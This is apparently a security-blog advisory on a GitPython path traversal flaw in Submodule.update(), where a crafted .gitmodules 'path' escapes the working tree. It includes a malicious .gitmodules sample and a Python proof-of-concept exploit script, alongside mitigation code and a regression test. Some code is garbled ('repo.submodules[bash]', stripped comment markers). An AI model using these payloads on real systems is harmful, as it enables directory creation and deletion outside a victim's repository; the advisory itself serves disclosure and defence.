Listen to this Post
CVE-2026-100689 is a path traversal vulnerability in GitPython, affecting versions before 3.1.62. It resides in the `Submodule.update()` method, specifically in how the library handles the `path` field from a `.gitmodules` file. This is a residual flaw from a previous fix (GHSA-hmq2-w58f-27jc / CVE-2026-76222) that addressed the `name` field but overlooked the sibling `path` field.
The root cause is an asymmetry in input validation. GitPython already possesses a containment guard, Submodule._to_relative_path(), designed to ensure a given path resolves within the repository’s working tree. This guard is correctly applied in `add()` and move(). However, `update()` does not use it. While `update()` validates the submodule `name` via _validated_name(), it derives the absolute checkout location directly from the raw `path` value read from .gitmodules.
The vulnerable data flow begins when GitPython reads a `.gitmodules` file. The `path` attribute is retrieved without sanitization in `_set_cache_()` via reader.get("path"). In update(), after validating only the name, the code calculates checkout_module_abspath = self.abspath, which is derived from this unsanitized path. This absolute path is then passed to `os.makedirs()` to create directories and, if `force_remove` is used, to `shutil.rmtree()` for deletion.
Consequently, a malicious `.gitmodules` entry with a `path` like `../../../tmp/escaped` causes GitPython to create and potentially populate directories outside the repository’s working tree. The directory can be populated from the submodule’s URL during a clone operation and deleted via force_remove.
Exploitation is not universal. The most common flow, `Repo.clone_from(…)` followed by `repo.submodules` and sm.update(init=True), is not affected. In this flow, the path is re-derived from a canonical tree lookup, and the underlying `git` command refuses to check out trees with `..` components, preventing the malicious `.gitmodules` from landing in the working tree. A reachable trigger requires an application flow that updates submodules at a non-HEAD commit, such as using a historical-commit API like submodule_update(previous_commit=...).
The fix, introduced in GitPython 3.1.62, applies the existing `_to_relative_path()` guard within `update()` before deriving the absolute path. A more robust boundary-level fix would be to reject any `.gitmodules` entry whose `path` is absolute or contains `..` components when the configuration section is first read.
DailyCVE Form:
Platform: GitPython
Version: < 3.1.62
Vulnerability: Path Traversal
Severity: Medium
date: 2026-09-26
Prediction: 2026-10-15
What Undercode Say
Demonstrate the vulnerable code path in GitPython 3.1.61 git clone https://github.com/gitpython-developers/GitPython.git cd GitPython git checkout 3.1.61 Inspect the unguarded call in update() grep -n "checkout_module_abspath = self.abspath" git/objects/submodule/base.py Show the guard's correct usage in add() and move() grep -n "_to_relative_path" git/objects/submodule/base.py
Minimal reproduction: path traversal via .gitmodules
Save as: evil_repo/.gitmodules
[submodule "evil"]
path = ../../../tmp/escaped
url = https://example.com/evil.git
In the application using GitPython 3.1.61:
import git
repo = git.Repo.clone_from("file:///path/to/evil_repo", "/tmp/safe_clone")
Historical commit update triggers the vulnerable path
repo.submodules[bash].update(previous_commit="HEAD~1", init=True)
Result: /tmp/escaped directory created outside /tmp/safe_clone
The fix in 3.1.62: update() now applies the containment guard git/objects/submodule/base.py (3.1.62+) checkout_rel = self._to_relative_path(self.repo, self.path) checkout_module_abspath = self.repo.working_tree_dir / checkout_rel
Exploit: (Educational Purposes!)
!/usr/bin/env python3
"""
CVE-2026-100689 Educational Exploit PoC
Target: GitPython < 3.1.62
Requires: Victim application calls submodule.update(previous_commit=...)
"""
import git
import os
1. Create a malicious repository with an evil .gitmodules
malicious_repo_path = "/tmp/malicious_repo"
os.makedirs(malicious_repo_path, exist_ok=True)
os.chdir(malicious_repo_path)
os.system("git init")
os.system("git config user.email '[email protected]'")
os.system("git config user.name 'Attacker'")
Evil .gitmodules with path traversal
with open(".gitmodules", "w") as f:
f.write('[submodule "evil"]\n')
f.write(' path = ../../../../tmp/pwned_dir\n')
f.write(' url = https://github.com/attacker/payload.git\n')
os.system("git add .gitmodules")
os.system("git commit -m 'Initial commit'")
os.system("git branch -m main")
2. Victim clones the repo and updates a historical commit
victim_clone = "/tmp/victim_clone"
repo = git.Repo.clone_from(malicious_repo_path, victim_clone)
Simulate a historical-commit update trigger
In real exploitation, this requires an app flow using previous_commit=...
try:
sub = repo.submodules[bash]
sub.update(previous_commit="HEAD~1", init=True)
print("[!] Traversal attempted. Check /tmp/pwned_dir")
except Exception as e:
print(f"[-] Update failed (may be patched or flow incompatible): {e}")
3. Verify directory creation outside the working tree
if os.path.isdir("/tmp/pwned_dir"):
print("[!] VULNERABLE: Directory created outside working tree")
else:
print("[+] Not vulnerable in this flow")
Protection:
Upgrade to GitPython 3.1.62 or later. The fix applies `_to_relative_path()` within `update()` before deriving the absolute checkout path.
Upgrade via pip pip install --upgrade GitPython>=3.1.62 Verify installed version python -c "import git; print(git.<strong>version</strong>)"
Application-level mitigation (if upgrade is not immediately possible):
Validate .gitmodules path before calling update()
import git
def safe_submodule_update(repo, submodule):
"""Reject any submodule path containing traversal components."""
reader = submodule.config_reader()
raw_path = reader.get("path")
Reject absolute paths and any path with '..' components
if os.path.isabs(raw_path) or ".." in raw_path.split(os.sep):
raise ValueError(f"Rejected unsafe submodule path: {raw_path}")
submodule.update(init=True)
Regression test (from the suggested fix):
tests/test_submodule.py def test_submodule_path_traversal_rejected(self, rwdir): """Ensure path = ../escaped is rejected alongside name test.""" sm = Submodule(...) construct with path="../escaped" with pytest.raises(ValueError): sm._to_relative_path(sm.repo, sm.path)
Impact:
- Confidentiality: Low — the attacker cannot directly read files via this vector, but may infer filesystem structure.
- Integrity: Medium — arbitrary directory creation outside the working tree; on the clone path, directories are populated from attacker-controlled submodule URLs.
- Availability: Medium — `force_remove` passes the escaped absolute path to
shutil.rmtree(), enabling deletion of directories outside the repository. - Scope: The vulnerability requires a specific application flow (non-HEAD commit updates, e.g.,
submodule_update(previous_commit=...)). The common clone-then-update flow is unaffected due to canonical tree re-derivation andgit‘s own `..` blocking. - CVSS 3.1: 5.9 (Medium) — Network vector, High complexity, No privileges, No user interaction required for the vulnerable component itself, but exploitation requires the application to invoke the historical-commit API.
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

